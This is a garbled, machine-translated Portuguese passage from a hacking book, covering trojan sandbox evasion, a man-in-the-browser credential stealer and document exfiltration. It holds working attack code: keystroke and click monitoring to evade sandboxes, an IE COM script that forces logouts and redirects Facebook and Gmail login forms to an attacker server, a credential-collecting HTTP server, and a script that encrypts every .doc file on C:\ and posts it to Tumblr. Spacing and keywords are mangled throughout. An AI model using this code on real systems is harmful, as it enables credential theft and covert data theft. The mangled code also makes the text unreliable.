decorrido

regressodecorrido

#TestarocdigoretirarapsESTENMERO!
enquantoTrue:
get_last_input()
time.sleep(1)

NsdefinimosumLASTINPUTINFOestruturaqueirrealizarocarimbodotempo(emmilissegundos)dequandooltimo
eventodeentradafoidetectadanosistema.NotequevoctemqueinicializarocbSizevarivelpara
otamanhodaestruturaantesdefazerachamada.Emseguida,chamaroGetLastInputInfofuno,
quepreencheonossostruct_lastinputinfo.dwTimecampocomotimestamp.Oprximopasso
determinarquantotempoosistemafoiexecutadousandoaGetTickCountchamadadefuno.Oltimo
pequenotrechodecdigoocdigodetestesimples,ondevocpodeexecutaroscripte,emseguida,movaomouseou
pressionarumateclanotecladoeverestenovopedaodecdigoemao.
Vamosdefinirlimitesparaestesvaloresdeentradadousurioprximos.Mas,primeiro,importantenotarqueototal
tempodefuncionamentodosistemaealtimadetectadaeventodeentradadousuriotambmpodeserrelevanteparaoseuespecial
mtododeimplantao.Porexemplo,sevocsabequevocsestimplantandousandoumatticadephishing,
entoprovvelqueumusuriotinhadeclicarourealizaralgumaoperaodeseinfectar.Issosignificaque
noltimominutooudois,vocveriaaentradadousurio.Seporalgummotivovocverqueamquina
foiexecutadopor10minutosealtimaentradadetectadafoide10minutosatrs,entoprovvel
dentrodeumasandboxquenoprocessouqualquerentradadousurio.Estesjulgamentossotodospartedeterum
boatrojanquefuncionadeformaconsistente.
Estamesmatcnicapodesertilparainterrogarosistemaparaverseumusurioestiverociosoouno,comovocpode
squercomearatirarscreenshotsquandoelesestoativamenteusandoamquina,edamesmaforma,vocpode
squeremtransmitirdadosouexecutaroutrastarefasquandoousuriopareceestaroffline.Vocpoderiatambm,
porexemplo,modelarumusurioaolongodotempoparadeterminaroquediasehorasqueelessotipicamenteonline.
Vamosapagarosltimostrslinhasdecdigodeteste,eadicionaralgumcdigoadicionalparaolharparaasteclasdigitadase
cliquesdomouse.VamosusarumpuroctypessoluodestavezcomooposioaomtodoPyHook.Vocpode
facilmenteusarPyHookparaestefim,bemcomo,masterumpardetruquesdiferentesemsuacaixadeferramentas
sempreajudacomocadaumantivrusesandboxingtecnologiatemsuasprpriasmaneirasdedetectaressestruques.
Vamoscomearacodificao:
get_key_pressdef():

mouse_clicksglobais
combinaesdeteclasglobais

foriinrange(0,0xff):


Seuser32.GetAsyncKeyState(i)==32767:

#0x1ocdigoparaumcliquedomouseesquerdo
seeu==0x1:
mouse_clicks+1=
regressotime.time()
elifi>32ei<127:
combinaesdeteclas+=1
Nenhumvoltar

Estafunosimplesnosdizqueonmerodecliquesdomouse,otempodoscliquesdomouse,bemcomoaforma
muitascombinaesdeteclasoalvotiveremitido.Issofuncionaporiteraosobreagamadechavesdeentradavlidos
paracadachave,queverificarseateclafoipressionadausandooGetAsyncKeyStatefuno
ligar.Seachavedetectadocomosendopressionado,vamosverificarse0x1,queocdigodeteclavirtualpara

esquerdacliquecomobotodomouse.Nsincrementaronmerototaldecliquesdomouseevoltaracorrente
timestampparaquepossamosexecutarclculosdetempomaistarde.TambmverifiquesehASCII
keypressesnotecladoesesim,nssimplesmenteincrementaronmerototaldecombinaesdeteclas
detectou.Agoravamoscombinarosresultadosdestasfunesemnossolaodedetecosandboxprimrio.
Adicioneoseguintecdigoparasandbox_detect.py:
detect_sandboxdef():

mouse_clicksglobais
combinaesdeteclasglobais

max_keystrokes =Random.randint(10,25)
max_mouse_clicks=random.randint(5,25)

double_clicks =0
max_double_clicks =10
double_click_threshold=0,250#emsegundo
first_double_click =None

average_mousetime =0
max_input_threshold =30000#emmilissegundos

previous_timestamp=None
detection_complete=False


last_inputget_last_input=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 73/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
#Sensbatemosnossolimitevamossocorrer
selast_input>=max_input_threshold:
sys.exit(0)

enquantonodetection_complete:

keypress_timeget_key_press=()

sekeypress_timenonenhumeprevious_timestampnoNone:

#Calcularotempoentreoscliquesduplos
decorrido=keypress_timeprevious_timestamp

#Ousurioduplaclicado
Sedecorrido<=double_click_threshold:
double_clicks+1=

sefirst_double_clickNone:

#Pegarocarimbodehoradoprimeirocliqueduplo
first_double_clicktime.time=()

outro:

sedouble_clicks==max_double_clicks:
sekeypress_timefirst_double_click<=.
(max_double_clicks*):double_click_threshold
sys.exit(0)

#Estamosfelizeshaentradadousurioosuficiente


Seasteclasdigitadas>=max_keystrokesedouble_clicks>=MAX_.
double_clicksemouse_clicks>=max_mouse_clicks:

Retorna

previous_timestamp=keypress_time

elifkeypress_timenoNone:
previous_timestamp=keypress_time

detect_sandbox()
imprimir"Estamosok!"

Tudocerto.Estejaconscientedorecuonosblocosdecdigoacima!Comeamospordefiniralgumasvariveis
paracontrolarotempodecliquesdomouse,ealgunslimitescomrelaoformacomomuitascombinaesdeteclasou
cliquesdomouseestamosfelizescomantesdeconsiderarnoscorrendoforadeumacaixadeareia.Ns
embaralharesseslimitescomcadacorrida,masvocpode,naturalmente,definirlimitesdesuaprpriabaseem
seusprpriostestes.
Emseguida,recuperarotempodecorridodesdealgumaformadeentradadousuriofoiregistradonosistema,
esenssentimosqueelepassoumuitotempodesdequensvimosdeentrada(combaseemcomoainfecoocorreucomo
mencionadoanteriormente),quesocorrereotrojanmorre.Emvezdemorreraqui,voctambmpodeescolher
parafazeralgumaatividadeincuacomoaleituradechavesderegistroaleatriasouverificararquivos.Depoispassamos
estaverificaoinicial,vamospassarparaonossousodotecladoedomousecliquecomolaodedetecoprimria.
Emprimeirolugar,verificaraexistnciadeteclaspressionadasoucliquesdomouseesabemosque,seafunoretornaumvalor,ele
otimestampdequandoocliquedomouseocorreu.Emseguida,calcularotempodecorridoentre
cliquesdomousee,emseguida,comparloaonossolimiteparadeterminarsefoiumduploclique.
Juntocomadetecodeduploclique,nsestamosolhandoparaverseooperadorsandboxfoifluindo
cliqueeventosnacaixadeareiaparatentartcnicasdedetecosandboxfalsosfora.Porexemplo,ele
seriabastanteestranhover100clicaduasvezesemumafileiraduranteousonormaldocomputador.Seomximo
nmerodeclicaduasvezesfoiatingidoequeaconteceuemrpidasucesso,nssocorrer.Nosso
passofinalparaversefizemosissoatravsdetodasasverificaeseatingimosonossonmeromximode
cliques,TeclaseclicaduasvezesSeassimfor,nssairdanossafunodedetecodecaixadeareia.
Encorajovosaajustarejogarcomasconfiguraes,eparaadicionarrecursosadicionais,comovirtual
detecomquina.Podesertilpararastrearousotpicoemtermosdecliquesdomouse,dumduplo
cliqueseteclasdigitadasatravsdealgunscomputadoresquevocpossui(querodizer,possuemenoaquelesquevoc
hackeado!)paraverondevocsesentirolocalfeliz.Dependendodoseualvo,vocpodequerermais
configuraesparanicoouvocnopodeestarpreocupadocomadetecodesandboxemtudo.Usandoasferramentasquevoc
desenvolvidonestecaptulopodeatuarcomoumacamadadebasederecursospararolarparaforaemsuatrojan,edevido
modularidadedonossoquadrotrojaning,vocpodeoptarporutilizarqualquerumdeles.

[17] BaixarPyHookaqui:http://sourceforge.net/projects/pyhook/.

[18] ParasabertudosobrecontextosdedispositivoeprogramaoGDI,visiteapginaMSDNaqui:http://msdn.microsoft.com/en
us/library/janelas/desktop/dd183553(v=VS.85).aspx.
[19] ComoCanvasumaferramentacomercial,dumaolhadanestetutorialparaageraodepaycargasMetasploitaqui:http://www.offensive
security.com/metasploitunleashed/Generating_Payloads.

Captulo9.FunwithInternetExplorer
automaoCOMjanelasserveumnmerodeusosprticos,deinteragircombasenarede
serviosparaaincorporaodeumaplanilhadoMicrosoftExcelemseuprprioaplicativo.Todasasversesde
OWindowsXPdefrentepermitemquevocincorporarumobjetoInternetExplorerCOMemaplicaes,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 74/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
evamosaproveitaressacapacidadenestecaptulo.UsandooobjetodeautomaoIEnativa,vamos
criarumhomememataqueestilodenavegadorondepoderoubarascredenciaisdeumsiteenquantoumusurio
interagircomele.Nsvamosfazeresseataquederoubodecredenciaisextensvel,demodoquevriosalvo
sitespodemsercolhidas.OltimopassovaiusaroInternetExplorercomoummeiodedadosdeexfiltrate
umsistemadedestino.Vamosincluiralgunscriptografiadechavepblicaparaprotegerosdadosexfiltrateddemodoquesns
podedecifrlo.
InternetExplorer,vocdiz?MesmoqueoutrosnavegadorescomooGoogleChromeeMozillaFirefoxso
maispopularestesdias,amaioriadosambientescorporativosaindausamInternetExplorercomoseupadro
navegador.E,claro,vocnopoderemoveroInternetExplorerapartirdeumsistemaWindowsdemodoqueeste
tcnicadeveestarsempredisponvelparaoseutrojandoWindows.

ManintheBrowser(KindOf)
Maninthebrowser(MITB)ataquestenhamsidoemtornodesdeasuavezdeonovomilnio.Elesso
umavariaosobreoclssicoataquemaninthemiddle.Emvezdeactuarnomeiodeum
comunicao,malwareseinstalaeroubacredenciaisouinformaessensveisdo
navegadordoalvodesavisado.Amaioriadestasvariantesdemalware(normalmentechamadoNavegadorHelper
Objetos)inseresenodonavegadoroudeoutraformainjetarcdigodemodoqueelespodemmanipularo
seoprocessodonavegador.Comoosdesenvolvedoresdonavegadortornarsesbioaestastcnicaseantivrus
vendedoresprocuramcadavezmaisestecomportamento,temosqueterumpoucofurtivos.Aoalavancaronativo
interfaceCOMparaoInternetExplorer,podemoscontrolarqualquersessoIEafimdeobtercredenciaispara
sitesderedessociaisouloginsdeemail.Pode,claro,estenderessalgicaparaalterarumusuriodo
senhaourealizartransaescomasuasessodelogin.Dependendodoseualvo,vocpode
tambmusarestatcnicaemconjuntocomomdulodekeylogger,afimdeforlosare
autenticarseemumsiteenquantovoccapturarasteclasdigitadas.
VamoscomearcriandoumexemplosimplesquevaiprestaratenoparaumanavegaodousurionoFacebookouGmail,de
autenticlose,emseguida,modificaroformulriodeloginparaenviarseunomedeusurioesenhaparaumservidorHTTP
servidorquenscontrolar.OnossoservidorHTTP,ento,simplesmenteredirecionlosdevoltaparaapginadeloginreal.
SevocjfezqualquerdesenvolvimentoJavaScript,vocnotarqueomodeloCOMparainteragir
comoIEmuitosemelhante.EstamospegandonoFacebookeGmailporqueosusurioscorporativostmumadesagradvel
hbitodeambasassenhasreutilizaoeusaressesserviossempresas(sobretudo,otrabalhodeencaminhamento
mailparaoGmail,usandoFacebookconversarcomcolegasdetrabalho,eassimpordiante).Vamosracharmitb.pyeentrar
oseguintecdigo:
win32com.clientimportao
tempodeimportao
urlparseimportao
urllibimportao

data_receiver="http://localhost:8080/"

TARGET_SITES={}
TARGET_SITES["www.facebook.com"]=
{"Logout_url" :Nenhum,
"Logout_form" :"Logout_form",
"Login_form_index":0,
"possudo" :False}

TARGET_SITES["accounts.google.com"] =
{"Logout_url" :"Https://accounts.google.com/
Sairhl=en&continue=https:?//accounts.google.com/
ServiceLogin%3Fservice%3Dmail",
"Logout_form" :Nenhum,
"Login_form_index":0,
"possudo" :False}

#UsaromesmoalvoparavriosdomniosdoGmail

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 75/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
TARGET_SITES["www.gmail.com"]=TARGET_SITES["accounts.google.com"]
TARGET_SITES["mail.google.com"]=TARGET_SITES["accounts.google.com"]

clsid='{9BA05972F6A811CFA44200A0C90A8F39}'

janelas=win32com.client.Dispatch(clsid)

Estessoosingredientesdenossaman(tipode)ataqueinthebrowser.Nsdefinimosanossadata_receiver
varivelcomooservidorwebquereceberascredenciaisdosnossossitesdedestino.Estemtodo
maisarriscadoemqueumusurioastutopodeveroredirecionamentoacontecer,assimcomoumprojetofuturoliodecasavocpoderia
pensaremmaneirasdepuxaroscookiesouempurrandoascredenciaisarmazenadasatravsdoDOMatravsdeumatagdeimagem
ououtrosmeiosqueparecemmenossuspeitos.Ns,ento,criarumdicionriodesitesdedestinoqueonossoataque
apoiar.Osmembrosdedicionriosocomosesegue:logout_urlumURLquepoderedireccionaratravsdeum
GETsolicitaoparaforarumusurioafazerlogoffologout_formumelementoDOMquepossamosapresentaresse
foraologofflogin_form_indexalocalizaorelativanoDOMdodomniodedestinoque
contmoformulriodeloginvamosmodificareapropriedadebandeiradiznossensjcapturado
credenciaisdeumsitededestino,porquenoqueremmanterforandoosalogarserepetidamenteouento
oalvopodesuspeitarquealgoparacima.Emseguida,usamosidentificaodeclassedoInternetExplorereinstanciaro
COMobjeto,oquenosdacessoatodasasguiaseinstnciasdoInternetExplorerqueestoatualmente
correndo.
Agoraquetemosaestruturadeapoionolugar,vamoscriaroloopprincipaldonossoataque:
whileTrue:

paraonavegadornoWindows:

url=urlparse.urlparse(browser.LocationUrl)


seurl.hostnameemTARGET_SITES:

seTARGET_SITES[url.hostname]["propriedade"]:
continuar

#SehouverumURL,quepodesimplesmenteredireccionar
SeTARGET_SITES[url.hostname]["logout_url"]:
browser.Navigate(TARGET_SITES[url.hostname]["logout_url"])
wait_for_browser(browser)

outro:

#Recuperartodososelementosnodocumento
full_doc=browser.Document.all

#Iterate,procurandoaformadelogout
foriinfull_doc:
experimentar:

#Encontraroformulriodelogouteapresentlo
Sei.id==TARGET_SITES[url.hostname]["logout_form"]:
eusubmeto()
wait_for_browser(browser)
exceto:
passar

#Agoransmodificaroformulriodelogin
experimentar:
login_index=TARGET_SITES[url.hostname]["login_form_index"]
login_page=urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].ao="%s%s"%(data_.
receptor,login_page)
TARGET_SITES[url.hostname]["propriedade"]=true

exceto:
passar
time.sleep(5)

Estaanossaprincipalloopondensmonitoramossessodonavegadordanossametaparaossitesapartirdoqualns
querprendercredenciais.ComeamosporiteraoatravsdetodososactualmenteemexecuoInternetExplorer
objetosissoincluiguiasativasnoIEmoderno.Sedescobrirmosqueametavisitarumdosnossos
locaispredefinidospodemoscomearaprincipallgicadonossoataque.Oprimeiropassodeterminarse
nsexecutamosumataquecontraestesitejseassimfor,novamosexecutlonovamente.(Istotemum
desvantagememqueseousurionodigitarsuasenhacorretamente,vocpodeperdersuascredenciaisDoente
deixaranossasoluosimplificadacomoumaliodecasaparamelhoraremcima.)
Emseguida,testamosparaverseositededestinotemumaURLdelogoutsimplesquepodemosredirecionarparaeseassimfor,ns
foraronavegadorafazlo.Seositededestino(comooFacebook)exigequeousurioenviarumformulriopara
forarologout,comeamosaiteraosobreoDOMequandodescobrimosoelementoHTMLID
queestregistradoparaoformulriodelogout,foramosoformulrioaserenviado.Depoisqueousuriotemsido
redirecionadoparaoformulriodelogin,modificamosopontofinaldoformulriopararegistaronomedeusurioesenhapara
umservidorquenscontrolamos,edepoisesperarqueousuriorealizeumlogin.Observequeaadernciado
hostnamedonossositealvoparaofinaldaURLdonossoservidorHTTPquecoletaascredenciais.
EsteentoonossoservidorHTTPsabeositepararedirecionarobrowserparadepoisderecolherascredenciais.
Vocvainotarafunowait_for_browserreferenciadoemalgunspontosacima,queumasimples
funoqueesperaumnavegadorparaconcluirumaoperao,comonavegarparaumanovapginaou
esperadeumapginaparacarregartotalmente.Vamosadicionarestafuncionalidadeagora,inserindooseguintecdigo
acimadoloopprincipaldonossoscript:
wait_for_browserdef(browser):

#Esperaparaonavegadorparaterminarocarregamentodeumapgina
enquantobrowser.ReadyState=4ebrowser.ReadyState="complete"!:
time.sleep(0,1)

Retorna

Muitosimples.EstamosapenasprocurandooDOMparasercompletamentecarregadoantesdepermitirqueorestodanossa
roteiroparamanteraexecuo.IssonospermitetempocomcuidadoquaisquermodificaesDOMouanlise
operaes.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 76/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Criandooservidor
Agoraquenscriamosnossoscriptdeataque,vamoscriarumservidorHTTPmuitosimplespararecolhero
credenciaiscomoelessoapresentados.Crackabrirumnovoarquivochamadocred_server.pyesoltarna
seguintecdigo:
importaoSimpleHTTPServer
importaoSocketServer
urllibimportao

classeCredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
defdo_POST(self):
content_length=int(self.headers['ContentLength'])


creds=self.rfile.read(content_length).decode('utf8')
credsdeimpresso
local=self.path[1]:
self.send_response(301)
self.send_header('Location',urllib.unquote(local))
self.end_headers()

servidor=SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

EstasimplestrechodecdigoonossoservidorHTTPespecialmenteconcebido.NsinicializarabasedeTCPServer
classecomoIP,portaeCredRequestHandlerclassequeserresponsvelpelotratamentodo
solicitaesHTTPPOST.Quandoonossoservidorrecebeumasolicitaodonavegadordoalvo,lemoso
ContentLengthcabealhoparadeterminarotamanhodeopedido,e,emseguida,vamosleremoscontedosde
opedidoeimprimilos.Ns,ento,analisarositedeorigem(Facebook,Gmail,etc.)
eforaronavegadordedestinopararedirecionarvoltaparaapginaprincipaldositededestino.Umadicional
recursoquevocpoderiaacrescentaraquienviarteumemailacadacredenciaisdetemposorecebidasdemodoquevoc
podetentarfazerloginusandoascredenciaisdoalvoantesqueelestenhamumachancedemudarsuasenha.
Vamoslevlaparaumarodada.

Chutarospneus
FogoatumanovainstnciaIEeexecutaroseumitb.pyecred_server.pyroteirosemjanelasseparadas.Vocs
podetestarnavegandoemtornodevriossitesparatercertezadequevocnoestvendonenhumestranho
comportamento,quevocnodeve.AgoranavegueparaoFacebookouoGmailetentarfazerologin.Emsua
cred_server.pyjanela,vocdeveveralgocomooseguinte,usandooFacebookcomoumexemplo:
C:\>python.execred_server.py
lsd=AVog7IRe&email=justin@nostarch.com&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost[12/Mar/201400:03:50]"POST/www.facebook.comHTTP/1.1"301

Vocpodeverclaramenteascredenciaisdechegar,eoredirecionamentopeloservidorchutaronavegadordevolta

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 77/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
paraateladeloginprincipal.Claro,voctambmpoderealizarumtesteondevoctemInternetExplorer
correndoevocjestconectadoaoFacebookemseguida,tenteexecutaroseumitb.pyroteiroevocpode
vercomoeleforaasair.Agoraquepodemosprenderascredenciaisdousuriodessamaneira,vamosvercomo
podemosgerarIEparaajudarexfiltrateinformaesdeumaredededestino.

IEAutomationCOMparaExfiltrao
Teracessoaumaredededestinoapenasumapartedabatalha.Parafazerusodoseuacesso,vocquer
sercapazdeexfiltratedocumentos,planilhasououtrospedaosdedadosforadosistemadedestino.Dependendo
osmecanismosdedefesanolugar,estaltimapartedoseuataquepoderevelarsecomplicado.Podehaver
sistemaslocaisouremotos(ouumacombinaodeambos)quetrabalhoparavalidarosprocessosdeaberturaremoto
conexes,bemcomoseessesprocessosdevemsercapazesdeenviarinformaesouiniciar
conexesforadaredeinterna.Uminvestigadorcompanheirodeseguranacanadense,KarimNathoo,
salientouqueaautomaoIECOMtemamaravilhosavantagemdeusaroIexplore.exeprocesso,
quenormalmentedeconfianaenalistadepermisses,paraexfiltrateinformaesapartirdeumarede.
NsvamoscriarumscriptPythonqueirprimeirocaarparadocumentosdoMicrosoftWordnosistemadearquivoslocal.
Quandoumdocumentoencontrado,oscriptircriptograflousandocriptografiadechavepblica.[20]Apsa
documentocriptografado,vamosautomatizaroprocessodeenviododocumentocriptografadoparaumblogsobre
tumblr.com.Istoirpermitirnosparadeadsolteodocumentoerecuperarloquandonsqueremosquesem
ningumsercapazdedecifrlo.Aoutilizarumsiteconfivel,comoTumblr,tambmdevesercapazde
desvioqualquerlistanegraqueumfirewallouservidorproxypodeter,quepoderiamimpedirnosdeapenas
enviarodocumentoparaumendereoIPouservidorwebquepodemoscontrolar.Vamoscomearporcolocaralgum
apoiarfunesemnossoscriptexfiltrao.Abraie_exfil.pyeinsiraoseguintecdigo:
win32com.clientimportao
importos
fnmatchimportao
tempodeimportao
importaoaleatria
zlibimport

deCrypto.PublicKeyimportaoRSA
dePKCS1_OAEPimportaoCrypto.Cipher

doc_type =".doc"
="Jms@bughunter.ca"
nomedeusurio
senha ="JustinBHP2014"

public_key=""

wait_for_browserdef(browser):

#Esperaparaonavegadorparaterminarocarregamentodeumapgina
enquantobrowser.ReadyState=4ebrowser.ReadyState="complete"!:
time.sleep(0,1)

Retorna

Nssestamoscriandonossasimportaes,ostiposdedocumentosqueirprocurar,nossonomedeusurioTumblr
esenhaeumespaoreservadoparaanossachavepblica,quegeraremosmaistarde.Agoravamosadicionaronosso
rotinasdecriptografiaparaquepossamoscriptografarocontedodearquivoearquivos.
encrypt_stringdef(textosimples):

chunk_size=256
print"Acompactao:%dbytes"%len(textosimples)
plaintext=zlib.compress(textosimples)

impresso"Criptografia%dbytes"%len(textosemformatao)

rsakey=RSA.importKey(public_key)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 78/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin


rsakey=PKCS1_OAEP.new(rsakey)

encriptada=""

compensar =0
enquantodeslocamento<len(textosimples):

pedao=textosimples[offset:offset+chunk_size]

iflen(pedao)%chunk_size=0!
pedao+=""*(chunk_sizelen(pedao))

criptografados+=rsakey.encrypt(pedao)
compensar +=Chunk_size

criptografado=encrypted.encode("base64")

print"Base64codificadocripto:%d"%len(criptografados)

voltarcriptografado

encrypt_postdef(filename):

#Abrirelerofile
fd=open(filename,"rb")
contents=fd.read()
fd.close()

encrypted_title=encrypt_string(filename)
encrypted_body=encrypt_string(contedos)

voltarencrypted_title,encrypted_body

Nossaencrypt_postfunoresponsvelportomarnonomedoarquivoeretornandotantoocriptografado
nomedoarquivoeocontedodearquivoscriptografadosemformatocodificadoembase64.Nsprimeirochamarocarrochefeprincipal
funoencrypt_string,passandoonomedonossoarquivodedestinoquesetornarottulode
nossopostnoTumblr.Oprimeiropassodonossoencrypt_stringfunoadeaplicaracompressozlib
noarquivoantesdeconfiguraronossoobjetodechavepblicaRSAcriptografiausandoonossopblicogerado
chave.Entocomeamosumcicloatravsdocontedodoarquivoecriptograflosemblocosde256bytes,que
otamanhomximodecriptografiaRSAusandoPyCrypto.Quandonosdeparamoscomoltimopedaodoarquivo
,seeleno256bytesdecomprimento,quepadlocomespaosparagarantirquenspodemoscomsucessocriptografarloe
descriptografarlanooutrolado.Depoisqueconstruirtodaanossacadeiadetextocifrado,ns,base64codificlo
antesdedevolvlo.UsamosacodificaoBase64paraquepossamospubliclaemnossoblogTumblr,sem
problemasouproblemasdecodificaoestranhas.
Agoraquetemosasnossasrotinasdecriptografiacriadas,vamoscomearaadicionarnalgicadelidarcomoregisto
enavegarnopainelTumblr.Infelizmente,nohnenhumamaneirarpidaefcildeencontrarIU
elementosnaWeb:Eusimplesmentepassou30minutosusandooGoogleChromeesuasferramentasdedesenvolvimentopara
inspecionarcadaelementoHTMLqueeuprecisavaparainteragircom.
TambmimportantenotarqueapginadeconfiguraesdoTumblr,euvireiomododeediodetextosimples,
quedesativaoseueditorbaseadoemJavaScripttraquina.Sevocquiserusarumserviodiferente,entovoc
tambmvaiterquedescobriromomentopreciso,interaesDOM,eelementosHTMLqueso
necessrioporsorte,Pythontornaapeadeautomaomuitofcil.Vamosadicionarmaisalgumcdigo!
defrandom_sleep():
time.sleep(random.randint(5,10))
Retorna

login_to_tumblrdef(IE):

#Recuperartodososelementosnodocumento


full_doc=ie.Document.all

#Iterateprocurandooformulriodelogin

foriinfull_doc:
sei.id=="signup_email":
i.setAttribute("value",nomedeusurio)
elifi.id=="signup_password":
i.setAttribute("value",password)

random_sleep()

#Vocpodeserapresentadocomdiferenteshomepages
seie.Document.forms[0].id=="signup_form":
ie.Document.forms[0].submit()
outro:
ie.Document.forms[1].submit()
excetoIndexError,e:
passar

random_sleep()

#Oformulriodeloginosegundoformulrionapgina
wait_for_browser(ie)

Retorna

Nscriamosumafunosimpleschamadarandom_sleepquevaidormirporumperododetempoaleatrioesta
projetadoparapermitirqueonavegadorparaexecutartarefasquepodemnoregistareventoscomoDOMpara
sinaldequeelesestocompletos.Almdisso,fazcomqueonavegadorparecemserumpoucomaishumano.Nosso
login_to_tumblrfunocomeaporrecuperartodososelementosemoDOM,eolhaparaoemail
esenhacamposedefinelosparaascredenciaisquefornecemos(noseesqueadeseinscreveruma
conta).Tumblrpodeapresentarumateladeloginligeiramentediferenteacadavisita,entooprximopedaodecdigo
simplesmentetentaaencontrarologindoformulrioeenviarloemconformidade.Apsessecdigoexecutado,quedeve
agoraserconectadoaopainelTumblreprontoparapostaralgumasinformaes.Vamosadicionaressecdigo
agora.
post_to_tumblrdef(ouseja,ttulo,ps):

full_doc=ie.Document.all

foriinfull_doc:
sei.id=="post_one":
i.setAttribute("value",ttulo)
title_box=i

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 79/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
i.focus()
elifi.id=="post_two":
i.setAttribute("innerHTML",post)
imprimir"Definirreadetexto"
i.focus()
elifi.id=="create_post":
print"Encontradobotopost"
post_form=i
i.focus()

#Moverofocoparalongedacaixadecontedoprincipal
random_sleep()
title_box.focus()
random_sleep()

#Enviaroformulrio
post_form.children[0].click()
wait_for_browser(ie)

random_sleep()

Retorna

Nadadistocdigodevesermuitonovonestemomento.EstamosnacaasimplesmenteatravsdoDOMparaencontrar
ondepostarottuloeocorpodapostagemdoblog.Opost_to_tumblrfunosrecebeuma
instnciadonavegadoreonomedoarquivocriptografadoecontedodoarquivoparaenviarmensagens.Umpequenotruque(aprendidas
observandoseemferramentasdedesenvolvimentodoChrome)quetemosdemudarofocodedistnciadocontedoprincipal
partedopostparaqueJavaScriptdoTumblrpermitequeobotoPost.Estespequenostruquessutisso
importanteparaanotarcomovocaplicarestatcnicaaoutrossites.Agoraquepodelogarepostar
Tumblr,vamoscolocarostoquesfinaisnolugarparaonossoscript.
defexfiltrate(document_path):

isto,=win32com.client.Dispatch("InternetExplorer.Application")


ie.Visible=1

#CabeaparaTumblrelogin
ie.Navigate("http://www.tumblr.com/login")
wait_for_browser(ie)
print"Login..."
login_to_tumblr(ie)
print"Sessoiniciada...navegao"

ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie)

#Criptografaroarquivo
ttulo,corpo=encrypt_post(document_path)

imprimir"Criarnovamensagem..."
post_to_tumblr(ouseja,ttulo,corpo)
print"Postado!"

#DestruirainstnciaIE
ie.Quit()
ie=None

Retorna

#Loopprincipalparaadescobertadedocumentos
#NOTA:nenhumaguiaparaaprimeiralinhadecdigoabaixo
parapais,diretrios,nomesdearquivosemos.walk("C:\\"):
parafilenameemfnmatch.filter(nomesdearquivos,"*%s"%doc_type):
document_path=os.path.join(pai,filename)
imprimir"Encontrado:%s"%document_path
exfiltrate(document_path)
raw_input("Continuar?")

NossaExfiltratefunooquechamaremosparacadadocumentoquedesejaarmazenarnoTumblr.isto
primeirocriaumanovainstnciadoobjetoInternetExplorerCOMeacoisainteressantequevoc
podedefiniroprocessoaservisveisouno.Paradepurao,deixlodefinidocomo1,masparaomximodediscrio
vocdefinitivamentequerconfigurlopara0.Istorealmentetilse,porexemplo,otrojandetectaoutraatividade
indonessecaso,vocpodecomearexfiltratingdocumentos,oquepodeajudaramisturaraindamaisasua
emactividadescomquedoutilizador.Depoischamamostodasasnossasfunesauxiliares,nssimplesmentemataronossoIE
instnciaeregresso.OltimopedaodenossoscriptresponsvelporrastreamentoatravsdoC:\unidade
nosistemadedestinoetentarigualaranossaextensodearquivopredefinido(.doc,nestecaso).Cadavezqueum
arquivoforencontrado,nssimplesmentepassarocaminhocompletodoarquivoparaonossoExfiltratefuno.
Agoraquetemosonossocdigoprincipalprontoparair,precisocriarumarpidaesujageraodechavesRSA
roteiro,bemcomoumroteirodedescriptografiaquepodemosusarparacolaremumpedaodetextoTumblrcriptografadase
recuperarotextosimples.Vamoscomearporabrirkeygen.pyeinserindooseguintecdigo:
deCrypto.PublicKeyimportaoRSA

new_key=RSA.generate(2048,e=65537)

public_key=new_key.publickey().exportKey("PEM")
private_key=new_key.exportKey("PEM")
public_keydeimpresso
private_keydeimpresso

issomesmoPythontomauburroquepodemosfazloemumpunhadodelinhasdecdigo.Esteblocodecdigo
sadasdeambosumpardechavespblicaseprivadas.Copiarachavepblicaparaaie_exfil.pyscript.Emseguida,abra
umnovoarquivoPythonchamadadecryptor.pyeinsiraoseguintecdigo(coleachaveprivadaparao
private_keyvarivel):
zlibimport
base64importao
deCrypto.PublicKeyimportaoRSA
dePKCS1_OAEPimportaoCrypto.Cipher

private_key="###COLARCHAVEPRIVADAAQUI###"

rsakey=RSA.importKey(private_key)
rsakey=PKCS1_OAEP.new(rsakey)

chunk_size=256
